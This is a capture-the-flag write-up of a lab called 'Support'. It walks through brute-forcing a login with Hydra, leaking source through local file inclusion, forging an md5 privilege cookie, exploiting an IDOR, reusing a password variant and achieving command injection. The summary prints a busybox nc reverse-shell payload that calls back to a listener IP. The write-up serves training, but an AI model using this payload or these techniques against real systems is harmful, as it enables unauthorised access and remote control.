Support
Pentest the Support Ops platform to exploit vulnerabilities and achieve RCE. - by 1337rce
The following post by 0xb0b is licensed under CC BY 4.0
Scenario
A new internal Support Operations Platform has been deployed to assist IT and helpdesk teams. The application handles user management, internal APIs, and system-level operations. However, security was not the primary focus during development. Several features rely on user-controlled input and weak trust boundaries.
Summary
Summary
In Support, we enumerate the target and identify SSH on port 22 and an HTTP service on port 80 hosting a login portal that exposes the email help@support.thm on the index page. We brute-force the login form with Hydra against the xato-net-10-million-passwords-10000 wordlist, recover valid credentials, and gain access to a dashboard with a skinparameter vulnerable to local file inclusion. By traversing paths like dashboard.php?skin=../api and ../config, we leak the source code of api.php and config.php, with the latter revealing a master password. With a tampered cookie, we are able to reach the api.php endpoint, which exposes a user endpoint from which /user/1 reveals the email of the admin user. The admin account uses a slight derivation of the master password, allowing us to log in as the admin user. We then identify a sys parameter in the dashboard footer that executes system commands when set to values like time, confirming command injection. We exploit this by injecting a busybox nc reverse shell via command substitution (date$(busybox nc 192.168.135.32 4445 -e bash)) against a Penelope listener and land a callback as www-data, retrieving the final flag from /home/ubuntu/user.txt.
Recon
We use rustscan -b 500 -a support.thm --top -- -sC -sV -Pn to enumerate all TCP ports on the target machine, piping the discovered results into Nmap which runs default NSE scripts -sC, service and version detection -sV, and treats the host as online without ICMP echo -Pn.
A batch size of 500 trades speed for stability, the default 1500 balances both, while much larger sizes increase throughput but risk missed responses and instability.
We discover two open ports, SSH available on port 22 and a web server available on port 80.
We visit the index page and are greeted by a login. An account is already visible to try for a dictionary attack.
We run a dictionary attack and find some less interesting path.
Access as help@support.thm
We capture a log in request as help@support.thm to prepare a dictionary attack via hydra.
We are able to determine the used password of help@support.thm by using the xato-net-10-million-passwords-10000.txt wordlist.
We enter the credentials and are redirected to the dashboard.
On the dashboard we only have the selction fo themes available yet.
We test this by selecting a theme.
It seems like that also path traversal is present. From our previous scan we see that it might include php files. This would also allow us to include other php files present.
Access as help@support.thm with ITUser privileges
We inspect the cookies and see a is ITUser cookie. A md5 value is set.
We crack the hash using CrackStation and see it resolves to the value false.
We generate a md5 sum of true...
... and replace it. Now we have the API available.
From there we are able to spot different user entries via an IDOR.
We inspect the entry of the first user and find the admin. The admin email address is specialadmin@support.thm.
Another dictionary attack is not sufficient.
So we try to leverage the LFI we found previously. With that we can inspect the source of the different PHP files present.
We try to include the config.php file and are succesful. This reveals the master password. Maybe it is used by the admin.
We try the found master password in combination with the admin mail, but without success. It turns out it is a slight varition of the master password missing the special character...
We log in and find the first flag.
Now we are able to set the footer by the drop down below.
We test the parameter...
... and the response to setting the sys parameter to time looks like a system command is being executed.
We try to spawn a reverse shell via command substition. Before we send the request we set up a listner with penelope -p 4445.
We get a connection back and are www-data.
We find the final flag at /home/ubuntu/user.txt.
Last updated